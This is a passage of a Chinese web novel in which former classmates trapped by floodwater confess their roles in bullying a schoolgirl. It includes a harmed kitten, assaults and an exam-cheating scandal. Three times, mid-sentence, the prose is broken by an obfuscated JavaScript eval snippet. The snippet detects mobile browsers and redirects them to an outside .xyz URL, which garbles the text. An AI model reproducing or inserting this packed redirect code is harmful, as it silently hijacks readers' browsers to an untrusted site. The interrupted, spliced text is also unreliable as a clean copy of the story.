徐晓梦是很好看的女孩子,没有赵选那么暴躁,也没有卓诗兰那么张扬。安静而软弱,一看就是非常传统的那一款。 实际上,徐晓梦却有一点不一样。 郁迟说不清楚。 以前他爱欺负人,纯属是爱看人害怕时服软求饶。经过了多年充满秩序的圈养,弱者的眼神会在遭遇动物性的边界侵犯时变得极为惊恐。按他的经验,即便他更喜欢刺激的,也不常有反抗。 男生堆里窝囊的居多,满足不了他极大的掌控欲和好胜心,“没意思”三个字就能概括全部。而且他长得瘦弱,真打架了全靠一股不要命的狠劲,实际上占不了多少便宜。 女孩子就不一样了。赵选这样比他还高的女生也没他力气大。 他对赵选还挺尊重的,因为她真的很凶,有时候神态简直像他妈。他妈也和赵选一样不太在意他,甚至有些看不起他。在他爸妈面前他得当孙子,因为从小学时他咬掉了同学的耳朵开始,他就被放弃了。但赵选不会“放弃”他,顶多骂他两句。 卓诗兰更像他那个娇生惯养的妹,干什么都颐指气使的。他表面上不乐意,心理上却产生了被需要的感觉。好像他们本来就是一样的。 至于冯银子,虽然不好看,可她家里很有来头,比他家这样只做生意的要厉害多了。在同一个阵营的话,就不用担心得罪她了。 和班上其他女孩子比起来,徐晓梦也是个窝囊的废物。但每次她服软的时候,郁迟都能从她的语气里听出一丝丝不服气的味道。比如她说“对不起”,或者“抱歉”,又或者不肯说话,眼睛总是往下看。那是服软的姿态。 但他知道徐晓梦不服。 他就是知道。 所以一遍一遍变着法儿地折磨人才格外有趣。 他要弄明白徐晓梦怎么敢的,也要知道怎么样才能彻底解决她,让自己心里爽起来。 早在徐晓梦逮住那只黄狸花之前,郁迟见过他们相处。 那是一个雨天,周四。 下午自由活动时间,郁迟赖在小教室睡觉。卓诗兰和冯银子叽叽喳喳的声音,还有赵选看视频时不时的尖叫,一连吵醒他好几次。 失去耐心的郁迟干脆绕过回廊。在靠近小竹林方向有一片屋檐,很少人经过。那里也通风,适合散味儿,不会被李婉玫抓到。其实抓到也无所谓,反正没人管他,只不过和李婉玫吵架很掉价。他是不想对一个三十岁的老女人低头的。 烟灰落在脚下,很快被雨水冲走,一点痕迹都不剩。潮湿的空气黏在裸.露的皮肤上,堵住疏气的毛孔,让他心里闷得发霉。 靠在墙边快睡着了,他忽然听见一声猫叫。 一只暖黄色的小猫从小竹林的边缘蹿出,踩上了粗糙路面的水坑。它看起来很是年幼,一惊一乍的惹人烦。它往郁迟的方向扫了一下脑袋,又回头盯着竹林中的石子路。 郁迟这才发现有个熟悉的身影站在竹林间,半露半藏地注视着小猫。徐晓梦的位置看不见郁迟,她蹲下身,朝徘徊的小猫勾勾手,嘴里还发出“嘬”的声音。 过了很久,小猫才慢慢地靠近她。 郁迟看见她朝小猫伸出一只手,另一只手揪住脚边的塑料袋。整个人绷紧了,像是在等待什么。 徐晓梦的手指纤长,此时盈满雨水,在快要碰到小猫时,猫咪被突然出现的人影吓得一个激灵,然后被一只手捞了起来。 “你干嘛呢?”郁迟问她。 徐晓梦被吓了一跳,不敢吭声。郁迟走近时,她条件反射地躲了两步。男生的球鞋踩住蓝色的塑料袋,鞋头往旁边一拨,露出了一把锋利的剪刀。 还有一块方正的锡纸包,应该是食堂中午的烤鸡。 徐晓梦是来喂猫的吗,她这么好心?那她带剪刀是想干什么? 一股微妙的情绪忽然涌现。郁迟想,他好像发现了一些很特别的事。令他无端生出一点不可思议的期待,还有作为共谋的隐秘的兴奋。 趁徐晓梦发呆,他蹲下身将小猫放在脚边。张开的五指卡住小猫的脖子和前肢,然后单手打开鸡肉,喂到它面前。小猫吃东西的时候,他放松了手指的力度,虚虚圈住不让它溜走。 流浪猫似乎警惕太久了,连进食也时不时抬头,观察周围的危险。 “你能,按住它吗?”徐晓梦在小猫快要吃完的时候出声。 郁迟耸耸肩,看见她拿起剪刀戳向小猫的尾巴。他感觉心脏边缘微微发毛,刀尖划过猫毛的时候也划过他心里那一圈莫名生发的毛。 剪刀调整了方向,然后干净利落地去掉了小猫尾巴下方黏结的一块泥巴。或许刀尖过于近了,冷得小猫一声哀嚎。 徐晓梦赶紧安慰它,耐心哄道:“没事了,已经剪掉了。” 郁迟盯着她的侧脸,她装得可真像。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15721427|173352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明明剪刀刚才指着猫尾巴,他不会看错她眼中隐秘的恶意。 徐晓梦,挺有意思的。更有意思的是她很快收好东西,还扭头朝郁迟道谢。 她还是浑身充满怯懦卑微,但郁迟总感觉哪里不一样了。 有什么东西毛毛地挠着他。 那么细的脖子,如果掐上去,一定很有意思。 从那之后,郁迟时不时会看见徐晓梦去喂那只猫。她还是会带着蓝色的塑料袋,当一个守候在不远处的猎人。而她的猎物并不听话,需要循循善诱,才会来到塑料袋附近。 郁迟想,她的耐心总会耗光的。 不久后的那件事,郁迟并不感到惊讶。 那天他照旧躲在教学区的边缘做违反校规的事。根据他这一阵的观察,徐晓梦的耐心已经逼近到边缘了。蓝色的塑料袋换了又换,每次都被戳破,而每次都是崭新的。 他这一天来得格外早。临城在下大雨,哗啦啦地闹得耳朵疼。 手机上弹出他妈发来的消息,给他打了钱,让他这周回家的时候别光顾着玩,去商场挑一条成熟点的领带。他敷衍地回答了,又问了两句才得知他哥周末要回家,领带是让他准备自己的礼物。 隔着屏幕都能感觉到他妈的欢欣雀跃,估计会迫不及待张罗一圈事情。 有时候他也很像那只流浪猫,吃饭的时候要多长个心眼儿。 郁迟盯着来电显示,心里烦的要命。他贴着教学楼往班上走,接了个漫长无聊的电话才又回到秘密吸烟点。 雨水积成脚边的坑洼,穿林打叶地呼啸着。 他脚还没站稳便听见赵选的尖叫。她打着伞,耳机还挂在脖子上。即便被雨声削弱,她的惊慌也很快吸引来了路过的几个学生。 徐晓梦不知何时坐在竹林边的草坪上,她浑身都湿透了,怀里的那团东西也在哀嚎,渐渐不再反抗。离她最近的两根绿竹之间掉落了一把剪刀。 他看见徐晓梦侧过头,苍白的脸颊,和紧绷的身躯。那些未解的恶意终于从她眼中宣泄出来,和污水一样流得到处都是。 视线相撞的瞬间,他朝她微笑。 悬在心中的一块石头也终于落地了。 我会保密的。郁迟无声地说。 他想他大概是从徐晓梦身上嗅到了一丝同类的气息。至于是从什么时候开始的,他已经记不清了。 这么说来……郁迟转过头,看见了人群边缘的陈屿。 陈屿知道这些吗?应该不会吧。徐晓梦一定不敢告诉陈屿。 那这就是他和徐晓梦两个人之间的秘密了。 真好。他不是唯一的异类。 …… 一个暑假之后,重新回到学校的郁迟进入了新班级,文科三班。卓诗兰和赵选擦线去了文二,冯银子则去了有庄笙和陈屿的理科一班。 令人有点意外的是,徐晓梦竟然和温嘉、庞潇他们一起分入了文科一班。 她分班考得很好吗?郁迟想不通。 经过了一个暑假,他对徐晓梦更好奇了。于是他随便挑了一天晚自习下课,在他们班小教室门口堵住了徐晓梦。 他过去那些欺负人的手段对上徐晓梦简直得心应手。只不过这一回,他很快愣在了原地,脸上出现了一个清晰的五指印。 徐晓梦看了眼自己通红的手,似乎也愣了一下。她反应很快地冲到紧闭的门边,用郁迟从未听过的音量大声呼喊。 一只手从后面抓住她的头发,将她一把拖了回去。 19.陈屿 “那件事是我不对,我太冲动了。”郁迟的语气缓慢,随着他抬起头,雨水的气息再次袭来。他低哑的嗓音充满歉意,最终化为无奈的叹息。 庄笙张开手掌,冰冷的雨滴落在她的掌心,却毫无实感。 卓诗兰抿抿唇釉,若无其事地调侃:“你到底哪句话没说对啊?” 昏暗的空间里,郁迟幽深的目光一扫,卓诗兰的声音也弱了下去:“别害得我们跟你一起……” 麦吉在楼梯的低处,最先察觉到水位上涨。他连忙警告:“郁迟,你到底懂不懂规则!” 凭借手机的光线,庞潇看见他涨红的脸,好像一颗凹凸不平的土豆。可惜现在没有规则,更没有人会听麦吉的命令。 只见郁迟慢条斯理地一瞥:“谁说那条规则是真的了,不就是你们猜的吗?反正水退了不少,我建议找个教室休息,等到明天早上再看。” 温嘉模模糊糊地仰头:“为什么啊?” “我明白了,”冯银子挽住赵选的手臂,不由高看郁迟一眼,“说谎话会下雨涨水的规则是建立在我们被困在‘异空间’的假设上。如果根本不存在这个假设呢?如果就是发生了洪水,临城已经被淹没了……要是明天早上太阳照常升起,现在更应该考虑怎么逃生。” 其他人却都不同意她的观点。 陈屿说:“用你的话来讲,下雨这件事已经能够证明‘异空间’的存在了。” 他说话时望向庄笙,神情平静:“事实上,我们的第二个假设是,要维持水位的下降才能生存。” 郁迟发出轻蔑的声音:“如果事情正好相反怎么说?如果水位涨起来,我们在‘异空间’中死去才能回到原本的世界,你敢吗?” 挑衅的问话像是拨起了陈屿的情绪。庄笙听见他衣料摩擦的声音,然后他说:“我不会让所有人和你一起冒这个险。” “那就等到明天早上再说吧。”郁迟作势要走,却忽地停下。 楼梯间原本降下去的水位此时又开始上升——比之前的速度更快,逼得麦吉往上走了一步,他靠向墙壁,给郁迟让出身位。 “你、你要干什么?”麦吉迟疑道。 郁迟没有回答,双手插兜,慢悠悠地抬脚踩入漆黑的水中。冰冷瞬间覆盖上来,他一个激灵抽回了脚。 赵选忍不住笑出声:“能得你,刚还装呢?要不你表演一下游到教室去。” “他不会游泳。”卓诗兰揭穿道。 郁迟“啧”了一声,只好原地坐在台阶上,想法子把鞋子晾干。他收拾了一会儿,开口道:“你们也别愣着呀,怎么,大家今晚在这儿打通铺?” “不行吧,咱们还没有……说完,”麦吉试探地看他脸色,“等到明早就太长了。” 温嘉想起之前那个“幽灵”,不由和庞潇对上视线,连忙附和:“对、对呀。” 郁迟不耐烦道:“等一等怎么了?急什么,横竖一起送在这儿。” “谁要跟你一起?”冯银子尖声道。 “来不及了,”庄笙望着天台上的骤雨,“雨势会越来越大,等不到明天早上。” 经她提醒,众人才注意到愈发密集的乌云,连天光都不剩几分。手机显示时间已过零点,众人的电量都在持续下降。 事情被架在一个逐渐失衡的天平上。 麦吉急切地劝导:“既然如此,我们还是按照之前的规则,先把该说的说完,再看看会发生什么。徐晓梦……她要是真的存在,应该也会挺感兴趣的,说不定会放过我们呢。” 周围陷入诡异的沉默。就连打算驳斥的郁迟在听见他的后半句时也没有吭声。 方才每个人轮流讲的话,究竟是说给谁听的? 麦吉当他们默许了:“那下一个……该谁了?” 庄笙听见自己的心跳慢慢扩大,正当她不知该从哪里说起时,陈屿率先开口:“我来吧。” 他望向庄笙的眼神还像许多年前那样,平和、温柔。 - 高一结束后的一整个夏天,陈屿都在家帮忙。洗衣店的工作流程很简单,他只需要在前台做登记。 唯一不好的是时间变得非常碎片化,他常常在专注解题的时候被打断。但其实也没关系,现阶段的学习对他来说很轻松,刷点竞赛题才会带来挑战和满足感。 他知道班上的一些人会说他什么,但他们只是很少的一部分人。就像他爸说的,外界的言论都不重要,重要的是想要做的事情。凭双手双脚工作养家,是一件难以启齿的事情吗?他从来不这么认为。 暑假的时候,庄笙的妈妈去过一次洗衣店,还办了卡。陈屿知道她的名字。 杨洁梅参加过两次家长会,认得陈屿,因此当面夸奖他懂事。她妈妈看起来是温柔端庄的女人,说话温声细气的,很有亲和力。只不过大夏天还穿长袖长裤,长发井井有条地垂在耳后,挡住后颈。 陈屿怕她太热,专门给她倒了一杯冰水。 当时杨洁梅说什么来着,客气了一下让陈屿有空可以去家里做客。 那天晚上庄笙给陈屿发了短信,问他数学作业写完了吗。陈屿想,杨阿姨应该已经告诉了她白天见过面的事。 他们简单地讨论几句后结束了谈话。 那是暑假期间他们唯一一次联系。 高二开学后,陈屿的生活进入了异常的平静。没有什么人再针对他,那些闲言碎语在压倒性的成绩面前不值一提。 高一发生过的事忽然全都不见了。偶尔也有人会提到徐晓梦,谈及上学期末的那件事。据陈屿所知,李婉玫和教务处约谈过徐晓梦和当时在场的几位同学,后来这件事不了了之。 他知道肯定不是徐晓梦做的,她为此还受到了很大的惊吓。但谣言不会在乎她的情况,就像多次发生在她身上的那些事一样。 文科一班的女生比较多,听说有人趁下课后在班上发飙,大概意思是说她们一开始也很在意徐晓梦之前的事,一直当她是空气,不冷不热不存在。 过了一两个月之后,或许是混熟了环境,有之前和陈屿他们同班的同学又想给徐晓梦使点绊子。但是文科一班的班长不同意,特意出面调停。 那个女生的名字是阮笛,数学特别好,初中时搞竞赛的时候见过。 “好有正义感哟,”冯银子坐在理科一班嘲讽这位陌生的女同学,“学校是她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15726762|173352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家开的吗这么凶。” 在新的班级里会附和冯银子的人只有寥寥几个。毕竟随着压力的上升,大多数同学还是想认真学习的。不是每个人都和冯银子他们似的无所谓。 再次见到徐晓梦是在一天的晚自习结束。轮到他值日,离开教室时听见外面有人在大吵大闹。 麦吉拿着扫帚在后门喊他,一脸焦急:“……隔壁打架了!” 徐晓梦没什么事。 几个女孩子围着她,其中最高的那个是阮笛。她看见陈屿和麦吉过来,像是松了口气:“吓死我了,刚碰到你们理一的女生喊我,要我帮忙。她人呢?” “谁?”麦吉只顾着抠头皮。 “不认识,算了吧。那个男生是你们以前同学吗?”阮笛看向陈屿。 她大概已经听说过一些事情。 陈屿点点头。不远处,郁迟被巡逻的保安架在原地大骂,完全失去了自控能力。 郁迟是这样的人。陈屿一点也不意外。他见过形形色色的家伙,有的蠢,有的坏,郁迟二者兼备,还总是有强烈的优越感。陈屿很早就明白,那种优越感来自于郁迟的出身,和他本人没有一点关系。 陈屿看他当然也有优越感,因为人最终还是只能依靠自己的枝叶,而郁迟就像树荫下枯萎的细苗,很快会化为一滩烂泥。 郁迟是真的很吵,直到教务处那个人高马大的黑脸男老师过来才稍微安静。文科一班的班主任听说也在路上。 应该比李婉玫好吧——听说李婉玫被调回初中部了。 阮笛看了一眼在原地发呆的徐晓梦,跟陈屿说:“我要是她现在就大哭大闹,抓头发不是抓了吗,告死那种煞笔,以后再也不会发生这样的事。” 陈屿说:“她不会。谢谢你帮她。” “我没有帮助她,我和她不熟。我只是不希望我们班有任何一个人被欺负,”阮笛拢了拢头发,抬头看他,“而且你为什么替她道谢啊,你们很熟吗?” 陈屿回答:“嗯,算是吧。” 徐晓梦没有什么朋友。陈屿算是一个。 “你们班的人好奇怪啊,都为了徐晓梦来和我说谢谢。”阮笛自言自语道。她右手捏住左手的手臂,那里红了一小片。 后来陈屿才知道,是因为冲入小教室救徐晓梦的时候不小心撞上了门框。 那天回宿舍的路上,他和麦吉跟在女生们后面。阮笛看见桥边有个人影,立刻主动打招呼:“嘿,是你啊。” 陈屿看见庄笙,女孩子之间有一种天然的熟络。 从那天开始,陈屿产生了一种直觉,徐晓梦的处境大概率会有所改变。 阮笛是个很好的班长,文一的同学们也会时不时拥有一些正义感和同情心。这些特质未必一直存在,但对于徐晓梦来说绰绰有余了。她像一株顽强的沙漠植物,只需要一点偶尔的照拂。 他听说郁迟没有再找她麻烦。 高二这一年风平浪静,学校里最大的传闻不过是寒假期间在校留守的黑脸老师被校外的混混翻进学校打了一顿,额头上留了伤疤。 但总之,如果不是发生那件事,这原本应该是陈屿的高中生涯最好的一年。 20.会考 由于推迟的教育改革,临城的高中会考设在高二下学期的期末之前。理化生占比较重,史地政只有选择题。麦吉开玩笑说理科班的同学竟然全占优势。 班主任老胡压住笑容警告大家,这回是临城一中的老师来监考,会尤其严格。 他的警告并非无中生有。临城中学的学生质量参差不齐,教学水平除了英语全靠自学。哪怕理一的大部分同学都不需要歪门邪道,也总有一些人在及格线苦苦挣扎。 客观来讲,这些人主要集中在文科班。 陈屿有一次课间操时碰见徐晓梦,问过她会考准备得怎么样。徐晓梦点点头,说自己没问题。 没过几天,麦吉告诉陈屿,文科三班的人在找人一起作弊——他们行事隐秘,想找几个软柿子捏。陈屿问是谁,麦吉也讲不清楚。 “总之不关你的事,咱们管好自己就不错了。”麦吉接过陈屿收来的作业本,自告奋勇地替他跑一趟。 他们说话的时候庄笙在不远处,她好像回头了。陈屿不确定她听见没有。 会考当天的座位是全年级随机分配的。前一天出了名单后,陈屿才看见自己和徐晓梦在同一个考场。 考试地点是他们高一的化学实验室,一张桌子可以坐两个人,前后的间距也比较大。 陈屿坐在倒数第三排靠墙的位置,徐晓梦在他斜后方倒二。最后一排都是文科二班和三班的人,其中郁迟是靠窗的那个。 第一门是物理考试。教室里没有监控,全凭两个监考老师来回走动。其中一个是化学谭老师,他坐在前面全程低头玩手机。另一个是隔壁一中派来的老师,或许是听说过临城中学的校风,严肃的视线一直在巡逻。 试卷相当简单,陈屿二十分钟做完后就开始补觉。他再次醒来是听见一中的那位监考老师正在严厉警告:“倒数第二排的女同学,请你立刻坐好!” 只见他快步上前,捡起了飘落地面的白纸。 “这什么,回答我。” 徐晓梦的声音又细又软,飘渺得像来自另一个世界:“草、稿纸……” 陈屿这才诧异地扭过头。徐晓梦低头抓住自己的衣服,她说谎的时候总是这样,毫无底气,连装都不会装。 监考老师当然不信。然而他捏住草稿纸左看右看,什么也没发现。前后的学生们都闷头看卷子,谁也不想和这一茬扯上关系。 最终,监考老师只能暂时放过,留下一句“不要再东倒西歪的”。 徐晓梦没有再发出什么声音。陈屿的心里却涌出一丝奇怪。 他的预感很快灵验了。 陈屿中午吃饭很快,打算早点回宿舍休息。食堂出口是分别通往男女寝的分岔路口,高大茂密的榕树伫立在侧,刚好挡住通往食堂二楼的楼梯。 楼梯后侧有几个人影若隐若现,陈屿刚下台阶,便看见郁迟从那里出来,身后跟着几个文科二班的男生。他们身型高大,衬得郁迟更像一只小鸡仔。 陈屿顿了顿脚,走出几步后再回头,才发现楼梯后侧的阴影中还藏着一个人。 徐晓梦右手抓左手,手腕都要掐红了。她只是微微打颤,没哭。发现陈屿时,她第一反应是要跑。但陈屿挡住了去路,她只能低声下气,装作什么事都没发生:“你怎么、来了?” “怎么回事?”陈屿质问道。 徐晓梦一开始不肯说,见他不依不饶的,才简要解释了几句。和陈屿的猜想一致,麦吉口中被郁迟他们挑上的“软柿子”大概就是徐晓梦。 也可能不止徐晓梦一个。 “你答应了?”陈屿问。 他不知道自己的语气是否算得上咄咄逼人,但徐晓梦沉默了几秒,小心翼翼地答道:“要不就,就、算了吧。” 她不敢看陈屿,垂下的视线像是又回到了一年前。 “什么叫算了,他们会放过你吗?还是你又要躲起来?” “不是……我……” 陈屿涌上唇边的话忽然都消失了。他听懂了徐晓梦的弦外之音:“你答应了?” 徐晓梦的脑袋更低了,怯得很。下一刻,陈屿一把揪住她的手腕,没让她跑掉:“你和我去教务处,现在去。” “…不行!”茂盛树枝遮挡住道路上的同学身影,也遮住了徐晓梦小声的反抗。 陈屿只能松开她。 “你不能做这种事,”陈屿盯着她,脑袋很疼,“监考老师已经盯上你了,你会被发现的。你知道结果是什么吗?” 他还想说,突破底线的事情有一次就会有第二次。可是道德上的审视对徐晓梦来说过于残忍,他不说她也懂得。 他感觉自己的嘴唇干得要裂开了。 “我知道,”徐晓梦说,“大不了我,就回家,是、不是比在这里好?我不想,再给你、你们添麻烦了。” 陈屿看着她的头顶:“没有人觉得你是麻烦。” 徐晓梦终于抬起头,眼睛有点泛红:“总之,这件事你不要管了。” 见陈屿不说话,她又补充道:“求你。” 那天中午回到宿舍后,陈屿打开上锁的衣柜拿出手机。刚开机就有人来串门。 郁迟半靠在门上,摆出一个自以为很帅的姿势:“学霸,下午考化学,你准备好了吗?” 陈屿没说话,宽大的手掌遮住手机屏幕。郁迟注意到他的动作,轻笑了一声:“你和徐晓梦还在谈恋爱?” 郁迟的语气混杂着笃定和猜疑。他今天回头的时候看见陈屿和徐晓梦在说话,他们之间的关系似乎并没有因为分班而改变。 而现在郁迟是在求证。 陈屿往后靠住椅背,不紧不慢地抬眉:“学校禁止早恋,你不知道吗?” 郁迟盯着他,黄鼠狼似的眼睛透出一股阴寒。 陈屿认为自己是在正常地说话,但对于郁迟这种人来说或许是在挑衅——总有些人分不清好歹。因此,郁迟大概想付诸暴.力,比如他收紧了手指,身体的姿态近乎居高临下的压迫。 可惜陈屿并不领情。他既不会屈服,也不会害怕。 好学生不是不会打架。他也不是没和郁迟动过手。但他不会是先动手的那一个。 几秒后,午休的铃声忽然响起,比郁迟还暴躁。他浑身那股阴寒骤然泄了。临走之前,他警告陈屿:“管好你自己,别多管闲事。” 恰好麦吉来串门,迎面被郁迟撞了一下:“谁多管闲事了,你来我们宿舍干什么?” 等郁迟头也不回地走了,麦吉才小声问: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15734982|173352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “他干嘛?” 陈屿没说话。另一个声音从隔壁床弱弱地响起,是陈屿宿舍的另一个同学武平:“陈屿,你恋爱啦?我怎么不知道。” 陈屿:“……” 麦吉:“?!” 陈屿滑开手机,叫住麦吉:“你是不是说过,你有个亲戚在临城市教育局?” …… 当天下午三点十二分,临城中学的化学会考出现了一起重大教学事故。 被发现的时候,高二五班郁迟等人正在利用小抄作弊,高二四班徐晓梦协助作弊。同时,高二一班陈屿涉嫌协助行为。 在教务处面对老胡严厉的责问时,陈屿并没有隐瞒。老胡甩给他的是当时被他踩在脚下的草稿纸,明显不是陈屿的字迹。 那是徐晓梦的第二张草稿纸,无意中飘落到了前方。 “你说话啊,”老胡气得满脸通红,说话的声音都打拐,“你知道纸上是什么吗,啊?你看过没有啊?” 陈屿说:“我没看过。” 老胡按住胸口,转过去对教务处的黑脸老师说:“你看,是不是同学掉的,他不小心踩到了。陈屿是个乖孩子,成绩那么好,他没必要啊。” 一中的那位监考老师也在现场,撇撇嘴:“他是没必要,帮助同学却是有必要的。” “您这话说的,都不是一个班的。”老胡试图缓和氛围。 但那位监考老师丝毫不让:“我已经汇报上去了。后面怎么处理是你们学校自己的事情,我要先回去了。” “陈屿?”老胡转头提醒他说话。 老胡是个性子直的好人,陈屿是知道的。他慢慢呼吸,在监考老师出门之前答道:“我没看过草稿纸的内容,但我知道他们在做什么。” 当天晚上,陈屿很早就回宿舍了。据说学校接到通知,第二天的考试会重新分配座位。郁迟等高二五班的三位同学被取消会考资格。 郁迟来找的时候,陈屿没有觉得意外。唯独郁迟问“是不是你举报给教育局”的时候,陈屿感到格外好笑。 那天晚上,许多声音充斥在耳边。挥舞的拳头,不肯放松的手,规劝的阻拦的咒骂的……一切浑浑噩噩,荒唐又可笑,在郁迟搬起椅子砸到武平的那一刻终结。 陈屿僵在原地,觉得那画面似曾相识。但唯独这次不一样,是又长高一些的武平推住了椅子,下意识地一脚踹向郁迟。 陈屿松了一口气。 这口气直到第二天见到徐晓梦再松一半,考试结束才彻底松完。 陈屿听见广播给予自己和武平的警告处分时,心情像一片轻飘飘的云经过晴朗的天气。 郁迟等人被给予留校察看——无论如何都会留一级。 在考完试的那个走廊里,徐晓梦从人群中回过头,她望向陈屿,说了声“谢谢”。她上半身微微前倾,悄悄比了个剪刀手。 ……好像是胜利了吧。陈屿想。 高二下学期结束后,徐晓梦转学回了老家。据陈屿所知,是临城市附近的一个小县城。 徐晓梦给陈屿发过一次消息,主要是表达感谢。再多的陈屿也不记得了,因为他的成绩在高三开始后突然下滑。 陈屿中途休学,再返校就是参加高考的时候了。 21.庄笙 消退的水位伴随着郁迟的无奈,他撇撇嘴角,好似对陈屿描述的一切都感到陌生:“我好冤枉啊,锅都是我的。” 回应他的是众人的沉默。 郁迟站在台阶下方,仰头看向始作俑者。陈屿从始至终的叙述都是克制而平淡的,他没什么表情,不像多年前那样简单易懂。 “我记得你以前很阳光的,怎么现在更装了,”郁迟歪着脑袋,低低地笑了,“你搞清楚,徐晓梦作弊被抓是她自愿的,转学也没人逼她。我都没和她说上几句话,你们分手也怪我、成绩下滑也怪我?” 庄笙听出郁迟的避重就轻。一股潮湿的空气用力按住她的胃部,透出隐隐不适。尤其是他对陈屿的评价……他是最没有资格这么说的人。 这时,冯银子的五官一皱,她身旁的卓诗兰直接道出了疑惑:“什么意思?不怪你怪谁?” 郁迟摇了摇头,没有和她一般计较:“是谁说徐晓梦成绩好了不少,让我去商量一下的,你还记得吗,冯银子?” 被点名的人脸蛋鼓起,夸张地瞪眼、耸肩,表示自己一无所知。 “又是谁专门告诉我陈屿打电话去举报了,”郁迟的目光巡视一圈,停顿下来,“麦吉,不是你吗?” 麦吉克制住往后缩的脚跟,沉默不言。 郁迟嘴角上扬:“之前的事你也没少煽风点火吧?” 而后,他的目光转向一旁:“温嘉,还有你,说徐晓梦坏话最多的就是你。我看你也不是喜欢方原,你只是嫉妒徐晓梦。” “我……”温嘉抿起干涸的嘴唇,想了一会儿才小声说,“那个时候年纪小,不懂事。” “就是啊,才十几岁会犯错很正常。至少没你那么过分。”庞潇帮忙找补。 郁迟不怒反笑,反而继续起头,仿若行使正义:“庞潇,你也别说,自以为自己在做好事,实则装聋作哑,恨不得看好戏。我看你也不比我好到哪里去。” 庞潇犟嘴道:“那……还是差了很多的。你们干的那些事情,才活该被徐晓梦找。” “什么你们我们的,”卓诗兰心虚地吸鼻子,“跟我有什么关系。还以为是中二期搞小团体呢。” 冯银子和赵选对视一眼,不约而同地选择了沉默。 郁迟却当着她们的面继续道:“以前的事情很难论断对错了,谁多说了一句少说了一句,结果都会不一样。况且,你们女的事情那么多,我怎么会全都知道。” “郁迟。”赵选谨慎地提醒他。 郁迟摊开手,语气无奈而轻巧:“我说错了吗,你们歪歪曲曲的出主意,我不过是跟在公主后面任凭差遣。就算徐晓梦变成鬼魂要报复,怎么轮得到我。” 卓诗兰当即驳斥:“你胡说八道。” 冯银子面色怪异,挽住赵选的手紧了几分。赵选不紧不慢地说:“你来之前也没喝酒啊郁迟。” 郁迟哼笑着活动手脚。他的视线最后落在庄笙的脸上,平滑的皮肤还和很久以前一样,只不过时间带走了她身上的不安。 “庄笙同学,现在轮到你了。我其实一直不明白,你看上陈屿什么了,就为此非要迁怒徐晓梦?” 庄笙此刻格外平静:“我没有。” 郁迟的目光犹如一把淬毒的钩子,一寸一寸剜入:“高二开学后的那一天,你为什么要‘特意’去告诉我徐晓梦在小教室?可别告诉我,你是无意透露的。” 众目睽睽之下,庄笙的呼吸微微起伏,小心而急促。但很快,她面不改色地承认道:“我是故意的。” 她感觉到身旁陈屿忽然停顿的声息。 “赵选丢掉的ipod,一直在我的课桌里。还有,给方原的那封‘情书’,也是我起草的。” 她听见其他人屏住的呼吸与骤起的震惊,以及更为深刻的沉默 麦吉不由自主地张开嘴,仿佛探听到不可思议的秘密。他那张肥胖的脸鲜少如此生动:“我就知道你讨厌她!” 或许还有“你居然是这样的人”,“看不出来啊”等等淹没在唇齿间的讥论。 “你们不就是想听这个吗?” 庄笙忽然弯起眼睛,随着回忆露出淡淡的笑容。 - 庄笙远没有看上去那么骄傲。 她第一次意识到自己的自卑,是在小学五年级。语文老师夸赞她才华横溢,又同时夸赞另一位女同学漂亮伶俐。后来同学们当面形容庄笙“脑子好用”。这里往往跟着一个“但是”。 尚且年少的庄笙只知道将挽起的衣袖拉下来,遮住小臂尚未消失的疤痕。从那以后,她一年四季都穿长袖。 后来家长会的时候,她看见那位女同学的妈妈俯身说话,听见女同学说“妈妈你今天的口红是巫婆色”,妈妈佯装生气,细长的手指戳她的额头,二人吵两句嘴又互相揉揉脸,亲昵得不像母女,更像姐妹。 庄笙尝试说同样的俏皮话给杨洁梅听,只会换来一句不耐烦的“你哪里学来的,快闭嘴”。她不会想听庄笙说话,那么庄笙就不说了。 她是个很“乖巧”的女孩。是指看上去极端顺从听话,是作为一种察言观色的生存本领。否则杨洁梅是要撵她出家门的。 于是那间房屋成为了杨洁梅和她爸庄岩的家。 不是她的家。 庄笙初中的时候是走读,杨洁梅的精神问题碰上少女青春期,可谓是水火不相容。好不容易熬到高中去念私立,庄笙竟然松了口气。 她没办法恨杨洁梅。随着年纪的增长,她只看见了一个可怜的女人。 面对庄笙想去临城中学这件事,杨洁梅能同意也是意外。 她在本地国企上班,收入稳定。庄岩在外面做生意,两人加起来也达到了当地中产水平。但如果不是庄笙拿到了奖学金,庄岩是不会愿意出这么多钱供她去念私立的,更不会给她去隔壁榕市租房念省重点。 家里亲戚都说庄笙懂事,说她是父母宠爱的心肝,事实上她只感受到一个事实——人都有自己的生活要满足,她从来不是首位。 